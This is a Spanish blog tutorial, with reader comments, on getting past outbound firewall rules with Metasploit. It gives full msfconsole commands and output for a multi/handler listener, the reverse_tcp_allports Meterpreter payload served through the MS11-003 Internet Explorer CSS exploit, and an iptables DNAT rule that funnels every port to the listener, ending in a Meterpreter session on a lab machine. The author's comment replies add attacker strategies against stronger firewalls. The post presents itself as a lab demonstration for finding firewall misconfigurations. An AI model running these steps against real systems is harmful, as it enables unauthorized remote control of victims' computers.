Inicio > Hacking, MetaSploit, Networking, Programacion > Intentando evadir mecanismos y restricciones de Seguridad – Evadiendo Firewalls usando MetaSploit Framework – Parte V

Intentando evadir mecanismos y restricciones de Seguridad – Evadiendo Firewalls usando MetaSploit Framework – Parte V

Existen diferentes técnicas para el establecimiento de una conexión entre dos máquinas que se encuentran separadas y condicionadas por un firewall que evita que determinados puertos, protocolos y/o hosts puedan establecer conexiones, aunque se trata de un mecanismo bastante eficiente, en muchas ocasiones estas reglas no restringen absolutamente todo por diferentes razones, como por ejemplo, la necesidad de tener determinados puertos abiertos para realizar conexiones a un servicio externo, entre otras cosas. Esta situación es bastante frecuente en algunas organizaciones, donde alguna de las aplicaciones internas necesita acceso a un servicio externo y para este fin se debe dejar abierto uno o varios puertos. En este escenario se puede realizar un ataque de “fuerza bruta” en busca de una conexión pasando por el firewall, para este fin se utilizan los payload windows/*/reverse_tcp_allports que intentan capturar alguno de estos puertos abiertos e iniciar la transferencia del stage.

Este ataque lo que intenta hacer es probar “cada puerto” uno por uno en busca de una conexión (un puerto abierto) realizando un bucle simple que termina al momento de encontrar un puerto abierto. El uso de este tipo de ataque es sencillo, se basa en primera instancia en tener un Listener escuchando en puerto concreto con el fin de establecer la conexión, mientras que por otro lado se intenta explotar una vulnerabilidad utilizando el payload reverse_tcp_allports que intentará capturar un puerto de salida por donde establecer la conexión, una vez este es obtenido se intenta establecer la conexión por dicho puerto en ambos extremos, por este motivo, se hace necesario definir una regla de direccionamiento en la máquina del atacante para que envié esta conexión al Listener que se encuentra escuchando en el puerto destinado para ello. Es probable que suene un poco complejo, pero en realidad no lo es, se enseñan los pasos y las instrucciones ejecutadas para su correcto entendimiento, para esto partimos del supuesto de que se cuenta con una máquina virtual con un sistema windows:

1. Para probar el trafico saliente de la máquina virtual y como el firewall bloquea una conexión con meterpreter cuando el puerto de salida se ha bloqueado, se propone en primer lugar, desde la maquina virtual, dirigirse hacia la configuración del firewall y bloquear un puerto determinado (el puerto de salida en donde se realizará la conexión con Meterpreter, por ejemplo el 4444), luego desde la máquina del atacante explotar una vulnerabilidad de la máquina virtual y establecer el payload windows/meterpreter/reverse_tcp cuyo puerto será el 4444 (propiedad LPORT), como se podrá apreciar, la conexión es inevitablemente interrumpida por el firewall dado que el puerto de salida se encuentra bloqueado en la máquina virtual, la vulnerabilidad se ha explotado, sin embargo el stage no ha podido llegar a su destino (la máquina del atacante) dado que el firewall ha interrumpido la conexión por el puerto en donde se intentaba establecer la conexión, al final en la máquina del atacante se verá un error por Timeout en la conexión.

2. Una vez comprendido lo anterior, se procede a intentar mitigar esta situación, para esto, se utiliza en primer lugar el payload windows/meterpreter/reverse_tcp_allports con el exploit multi/handler escuchando el el puerto 4445, que será el puerto por el cual realmente establecerá la conexión.

msf > use exploit/multi/handlermsf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp_allports

PAYLOAD => windows/meterpreter/reverse_tcp_allports

msf exploit(handler) > set LHOST 192.168.1.34

LHOST => 192.168.1.34

msf exploit(handler) > set LPORT 4445

LPORT => 4445

msf exploit(handler) > exploit -j

[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.34:4445

[*] Starting the payload handler…

3. Ahora, para este caso se utilizará el exploit ms11_003_ie_css_import que aprovecha una vulnerabilidad en navegadores IExplorer 6, 7 y 8, utilizando el payload reverse_tcp_allports con el LPORT=4444, este es precisamente el puerto saliente que se encuentra bloqueado en el firewall de la maquina virtual, sin embargo, en este caso, lo que ocurrirá será que el payload de Metasploit, detectará que la conexión no se puede establecer por dicho puerto desde la máquina objetivo, por lo tanto intentará con el siguiente (4445) si este puerto se encuentra abierto en el firewall, se establecerá la conexión por dicho puerto de salida, sin embargo, este puerto tiene que estar habilitado como puerto de entrada en la máquina del atacante que es justo lo que se ha hecho en el paso anterior ejecutando el exploit multi/handler con el puerto LPORT 4445. Por otro lado, es necesario definir la opción “DisablePayloadHandler” a true, para que el payload no se ejecute en la máquina remota en cada intento que se realiza en busca de un puerto saliente valido, esto es sumamente importante, principalmente para no hacer demasiado “ruido”, ya que en el caso de que exista un IDS instalado en la máquina objetivo, posiblemente detectará estos intentos de ejecución del Payload.

msf > use exploit/windows/browser/ms11_003_ie_css_importmsf exploit(ms11_003_ie_css_import) > set PAYLOAD windows/meterpreter/reverse_tcp_allports

PAYLOAD => windows/meterpreter/reverse_tcp_allports

msf exploit(ms11_003_ie_css_import) > set LHOST 192.168.1.34

LHOST => 192.168.1.34

msf exploit(ms11_003_ie_css_import) > set LPORT 4444

LPORT => 4444

msf exploit(ms11_003_ie_css_import) > set DisablePayloadHandler true

DisablePayloadHandler => true

msf exploit(ms11_003_ie_css_import) > set URIPATH /

URIPATH => /

msf exploit(ms11_003_ie_css_import) > exploit

[*] Exploit running as background job.

[*] Using URL: http://0.0.0.0:8080/

[*] Local IP: http://192.168.1.34:8080/

[*] Server started.

msf exploit(ms11_003_ie_css_import) > jobs

Jobs

====

Id Name

– —-

0 Exploit: multi/handler

3 Exploit: windows/browser/ms11_003_ie_css_import

Como puede apreciarse, se encuentran dos jobs en ejecución, el primero corresponde al listener por el puerto 4445 y el segundo al exploit que se ejecutará contra la máquina virtual estableciendo como LPORT 4444 (puerto que se encuentra bloqueado en la máquina objetivo), una vez el exploit es activado en la máquina objetivo se produce la siguiente salida.

msf exploit(ms11_003_ie_css_import) >[*] 192.168.1.35:49266 Received request for “/”

[*] 192.168.1.35:49266 Sending windows/browser/ms11_003_ie_css_import redirect

[*] 192.168.1.35:49266 Received request for “/Qbuhf.html”

[*] 192.168.1.35:49266 Sending windows/browser/ms11_003_ie_css_import HTML

[*] 192.168.1.35:49266 Received request for “/generic-1306543250.dll”

[*] 192.168.1.35:49266 Sending windows/browser/ms11_003_ie_css_import .NET DLL

[*] 192.168.1.35:49267 Received request for “/\356\200\240\341\201\232\356\200\240\341\201\232\356\200\240\341\201\232\356\200\240\341\201\232″

[*] 192.168.1.35:49267 Sending windows/browser/ms11_003_ie_css_import CSS

[*] Sending stage (749056 bytes) to 192.168.1.35

[*] Meterpreter session 1 opened (192.168.1.34:4445 -> 192.168.1.35:49268) at Sat May 28 02:40:56 +0200 2011

sessions

Active sessions

===============

Id Type Information Connection

– —- ———– ———-

1 meterpreter x86/win32 jdaanial-PC\jdaanial @ JDAANIAL-PC 192.168.1.34:4445 -> 192.168.1.35:49268

Ahora, la salida nos ha proporcionado una consola meterpreter valida, justo por el puerto 4445, dado que el puerto 4444 se encontraba bloqueado, el payload ha proseguido con el siguiente puerto y dado que se ha encontrado abierto en la máquina remota, se ha establecido la conexión por medio de dicho puerto, con esta técnica, es posible detectar agujeros y malas configuraciones en firewalls y evadir restricciones relacionadas con la conectividad.

IMPORTANTE:

QUE SENTIDO TIENE LO ANTERIOR, SI YA SABIA EL PUERTO QUE ESTABA ABIERTO DESDE UN PRINCIPIO?

En el ejemplo anterior, el puerto saliente bloqueado en la maquina objetivo ha sido el 4444 y se ha iniciado el listener en la maquina del atacante en el 4445, sin embargo, que hubiese pasado si el 4445 también hubiese estado bloqueado en la maquina objetivo? Simplemente no se hubiera podido obtener una conexión y por consiguiente una sesión meterpreter. Dado que en un entorno real, probablemente nos encontremos con que no sabremos que puertos pueden estar o no bloqueados, el enfoque de establecer un listener en un puerto arbitrario solamente nos da 1 probabilidad entre 65535 lo que desde luego, no tiene ningún sentido, por esta razón, es necesario que en la máquina del atacante se establezca una política de redirección que envíe cualquier petición desde la máquina objetivo, por cualquier puerto de entrada, hacia el puerto donde se ha establecido el listener (4445 en este caso), de esta forma, si el payload enviado a la máquina objetivo detecta que por ejemplo, el puerto de salida 60000 esta abierto en la máquina objetivo, intentará establecer una conexión, utilizando el puerto 60000 de entrada en la máquina del atacante, el filtro de redirección en la máquina del atacante, tomará todas las peticiones de la máquina objetivo sobre cualquier puerto de entrada de la máquina del atacante y la redireccionará al 4445, de esta forma, independiente del puerto de salida que se encuentre abierto en la maquina objetivo, la maquina del atacante siempre realizará una redirección hacia su puerto de entrada 4445.

Muy bien, esto como se consigue? En maquinas basadas en Linux, con una simple regla de iptables de redireccionamiento de paquetes TCP al puerto de entrada 4445, esta regla puede ser similar a la siguiente (siempre es dependiente y puede variar en función de la versión del kernel en la que se ejecute)

iptables -t nat -A PREROUTING -i eth0 -p tcp -m state –state NEW -d 192.168.1.35 -j DNAT –to 192.168.1.34:4445

NOTA: Aquí se asume que la IP 192.168.1.35 corresponde a la máquina virtual.

Con esta técnica, es posible realizar un “Bypass” de un firewall restrictivo. En próximas entradas, mas técnicas relacionadas con este tema.

  1. Lucas
    octubre 24, 2012 en 1:17 am

    Excelentemente explicado y sobre todo muy útil… gracias!

  2. Eduardo
    enero 9, 2013 en 8:01 pm

    En el caso de que el stage no encuentre ningún puerto que no esté filtrado, ¿se puede traspasar el firewall? ¿Cómo?

    Cuando digo firewall, me refiero a uno bueno, tipo COMODO o ZoneAlarm. Toda la información que encuentro sirve para el firewall de windows, pero en un entorno real donde la víctima tenga un firewall medianamente bueno, ¿que opciones hay?

    Buen artículo y gran blog ;)

    Un saludo.

    • enero 9, 2013 en 8:29 pm

      Si no encuentra un puerto que no esté filtrado, el firewall no se puede traspasar sin antes “quitar” dichos filtros. Sin embargo, independiente del firewall que se utilice (sea bueno o malo) la lógica siempre va a ser la misma: Permitir conexiones a clientes de confianza y filtrar todo lo demás considerándolo malicioso, prácticamente todos los administradores siguen la misma lógica a la hora de configurar sus perímetros de defensa (que por cierto, es una practica bastante eficaz) en dicho caso un atacante tiene las siguientes opciones:

      1. Análisis de trafico para encontrar dichas relaciones de “confianza” y atacar primero el punto más débil (normalmente el cliente). Si un atacante logra comprometer una de esas relaciones de confianza o es capaz de hacerse pasar por un cliente valido para el firewall (spoofing) el firewall no puede hacer mucho al respecto.
      2. Encontrar y explotar vulnerabilidades que afecten el firewall del objetivo. En este punto un atacante raso, intentaría encontrar vulnerabilidades que se encuentran en “Full Disclosure” en uno de los tantos repositorios de exploits en internet, pero si se trata de un atacante realmente bueno y motivado por algún tipo de “compensación”, muy probablemente se dedicará a buscar vulnerabilidades para ese objetivo concreto… vamos, lo que realmente hacen muchos hackers para comprometer sistemas.

  3. Eduardo
    enero 9, 2013 en 10:43 pm

    Ok, gracias por responder y tan rápido.

  4. novato
    abril 12, 2013 en 8:20 pm

    una pregunta la direcion ip 192.168..1.34 esa cual es la pc victima o la pc atacante en los primeros pasos ahi no entiendo

    • abril 13, 2013 en 9:21 am

      192.168.1.34 -> Máquina del atacante
      192.168.1.35 -> Máquina de la víctima

  1. No trackbacks yet.

Deja un comentario

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 1.148 seguidores

A %d blogueros les gusta esto: